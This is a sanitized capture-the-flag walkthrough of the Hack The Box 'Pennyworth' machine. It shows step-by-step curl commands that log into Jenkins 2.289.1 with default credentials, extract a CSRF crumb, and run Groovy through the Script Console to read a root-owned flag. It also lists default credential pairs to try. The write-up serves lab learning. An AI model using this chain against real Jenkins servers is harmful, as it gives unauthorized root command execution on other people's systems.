Machine / Machines

Pennyworth

Pennyworth is a sanitized machine note from the local HTB archive, organized for quick review by category, difficulty, evidence flow, and reusable operator

EasyPublished 2026-03-19Sanitized local writeup

Scenario

Pennyworth attack path

Pennyworth is a sanitized machine note from the local HTB archive, organized for quick review by category, difficulty, evidence flow, and reusable operator

Objective

Machine walkthrough focused on Machines evidence, validation, and reusable operator lessons.

Pennyworth sanitized attack graph

Walkthrough flow

01

Phase 0: Setup

02

Phase 1: Reconnaissance

03

Phase 3: Synthesis

04

Phase 4: Foothold & Exploitation

05

Privilege Escalation

Source coverage

Moderate source coverage

Status: partial. This article is generated from 2 sanitized Markdown sources and keeps raw flags, credentials, keys, cookies, and reusable secrets out of the rendered blog.

57% coverage
Evidence verdict

Moderate confidence: the page is useful for review, but it should be treated as partial because the available source material is thinner or less narrative-complete.

  • <TARGET>-Pennyworth/walkthrough.md
  • HTB/<TARGET>-Pennyworth/notes.md

Technical Walkthrough

Pennyworth Walkthrough

Summary

Jenkins 2.289.1 on port 8080 with default credentials root:password. Exploited via the Groovy Script Console to achieve RCE as root and capture the flag.

Phase 0: Setup

  • Pwnbox SSH confirmed (x08@<TARGET>)
  • Target <TARGET> reachable (67ms RTT)

Phase 1: Reconnaissance

Initial Nmap Scan

bash
nmap -sC -sV <TARGET>

Result: Single open port - 8080/tcp running Jetty 9.4.39.v20210325

Service Fingerprinting

bash
curl -s http://<TARGET>:8080/login

Result: Jenkins login page confirmed (Spring Security auth endpoint)

Phase 3: Synthesis

  • One port open: 8080 (Jenkins on Jetty)
  • Jenkins 2.289.1 with standard login form
  • Attack hypothesis: Default credentials -> Script Console RCE
  • Backup: CVE search for Jenkins 2.289.1

Phase 4: Foothold & Exploitation

Step 1: Authentication with Default Credentials

bash
# Get session cookie from login page
curl -s -c /tmp/jcook.txt http://<TARGET>:8080/login > /dev/null

# Login with root:password
curl -s -b /tmp/jcook.txt -c /tmp/jcook.txt -L \
  "http://<TARGET>:8080/j_spring_security_check" \
  -d "j_username=root&j_password=<password redacted>=Sign+in"

Result: HTTP 302 redirect to / (successful login as Administrator)

Step 2: Extract CSRF Crumb

bash
curl -s -b /tmp/jcook.txt "http://<TARGET>:8080/script" | \
  grep -oP 'data-crumb-value="\K[^"]+'

Result: CSRF crumb extracted from page meta tag

Step 3: Execute Commands via Script Console

bash
CRUMB="<extracted_crumb>"
curl -s -b /tmp/jcook.txt -X POST "http://<TARGET>:8080/script" \
  --data-urlencode "script=println \"cat /root/flag.txt\".execute().text" \
  --data-urlencode "Jenkins-Crumb=$CRUMB"

Result: Flag returned directly - running as uid=0(root)

Flag

text
<hash redacted>

Privilege Escalation

Not required - Jenkins was already running as root.

Lessons Learned

  1. Jenkins naming hint - "Pennyworth" (Alfred Pennyworth, Batman's butler) = Jenkins (butler logo)
  2. Default credentials - Always try root:password, admin:password, admin:admin on Jenkins
  3. Jenkins Script Console (/script) - Provides full Groovy RCE once authenticated
  4. CSRF handling - Jenkins requires a crumb token; extract from data-crumb-value in page HTML
  5. Groovy execution syntax - println "command".execute().text for simple commands; use ["bash","-c","cmd"].execute().text for complex commands with pipes/redirects

Tools Used

  • nmap (port scanning)
  • curl (HTTP interaction, authentication, script execution)

Time to Solve

~5 minutes (scan to flag)

Source-Backed Dossier

The sections below are merged from companion Markdown notes for the same case. They are rendered after sanitization so the article stays precise without publishing raw flags, credentials, or target-specific secrets.

Notes

Target Info

  • IP: <TARGET>
  • OS: Linux
  • Difficulty: Easy (Starting Point)
  • Date: 2026-05-05

Recon

Nmap Initial Scan

  • Port 8080/tcp - Jetty 9.4.39.v20210325 (Jenkins 2.289.1)
  • Only one port open
  • robots.txt disallows /

Service Identification

  • Jenkins 2.289.1 running on Jetty
  • Login page at /login
  • Spring Security authentication (j_spring_security_check)

Exploitation

Attack Vector: Default Credentials

  • Tried root:password on Jenkins login
  • SUCCESS - Authenticated as Administrator

Command Execution via Script Console

  • Accessed /script (Jenkins Groovy Script Console)
  • Required CSRF crumb from page meta tag data-crumb-value
  • Executed Groovy: println "cat /root/flag.txt".execute().text
  • Running as: uid=0(root) gid=0(root) groups=0(root)

Flag

text
<hash redacted>

Key Takeaways

  • Jenkins with default/weak credentials is a critical vulnerability
  • Script Console provides arbitrary code execution as the Jenkins service user
  • Jenkins was running as root - no privesc needed
  • Name hint: Pennyworth = Alfred Pennyworth = Butler = Jenkins (the butler logo)